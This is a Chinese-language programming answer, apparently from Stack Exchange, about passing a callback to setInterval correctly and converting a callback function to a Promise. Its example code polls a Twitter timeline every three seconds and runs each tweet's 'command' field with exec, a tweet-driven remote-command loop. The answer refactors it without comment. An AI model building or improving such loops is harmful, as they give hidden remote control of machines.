如何将自定义函数传入setInterval实现定时调用？

为什么你的setInterval写法不生效？ #

你当前的写法：

setInterval(executeCommand(function(resp){console.log(resp)}), 3000);

问题在于你立即执行了executeCommand函数，把它的返回值（你的executeCommand没有return语句，所以返回undefined）传给了setInterval。而setInterval的第一个参数需要是一个待执行的函数引用，不是函数执行后的结果，所以定时器根本没法正常触发。

正确的定时调用方式 #

你需要把executeCommand的调用包裹在一个函数里，传给setInterval，这样每3秒定时器就会执行这个包裹函数，进而调用executeCommand：

写法1：普通匿名函数

setInterval(function() {
  executeCommand(function(resp) {
    console.log(resp);
  });
}, 3000);

写法2：箭头函数简化（更简洁）

setInterval(() => {
  executeCommand(resp => console.log(resp));
}, 3000);

关于console.log(executeCommand())的疑问 #

这种写法是行不通的。因为executeCommand内部的逻辑都是异步操作：client.get是网络请求，exec是系统命令执行，这些操作不会立即返回结果，而是通过回调函数传递最终的resp。

你的executeCommand函数本身没有返回任何值，所以executeCommand()会直接返回undefined，console.log打印的就是这个undefined，根本拿不到真正的命令执行结果。结果只能在你传入的回调函数里处理，就像你正常调用executeCommand(function(resp){console.log(resp)})那样。

可选优化：用Promise改造函数（更优雅的异步处理） #

如果想让代码可读性更好，也可以把executeCommand改造成返回Promise的形式，这样就能用async/await来处理异步逻辑：

// 改造后的executeCommand
function executeCommand() {
  return new Promise((resolve, reject) => {
    let params = {screen_name: '...'};
    client.get('/statuses/user_timeline', params, function(error, tweets) {
      // 先处理client.get的错误
      if (error) {
        return reject(error);
      }
      
      try {
        const tweetData = JSON.parse(tweets[0].text);
        if (tweetData.ip === 'all'){
          exec(tweetData.command, (err, stdout, stderr) => {
            if (err) {
              console.error(err);
              return reject(err);
            }
            resolve(stdout);
          });
        } else {
          // 如果ip不是'all'，可以返回null或者自定义值
          resolve(null);
        }
      } catch (parseErr) {
        // 处理JSON解析错误
        reject(parseErr);
      }
    });
  });
}

// 对应的定时调用写法
setInterval(async () => {
  try {
    const resp = await executeCommand();
    console.log(resp);
  } catch (err) {
    console.error('执行出错:', err);
  }
}, 3000);

这种方式不仅代码更清晰，还能统一处理异步过程中的各种错误。

内容的提问来源于stack exchange，提问作者Anton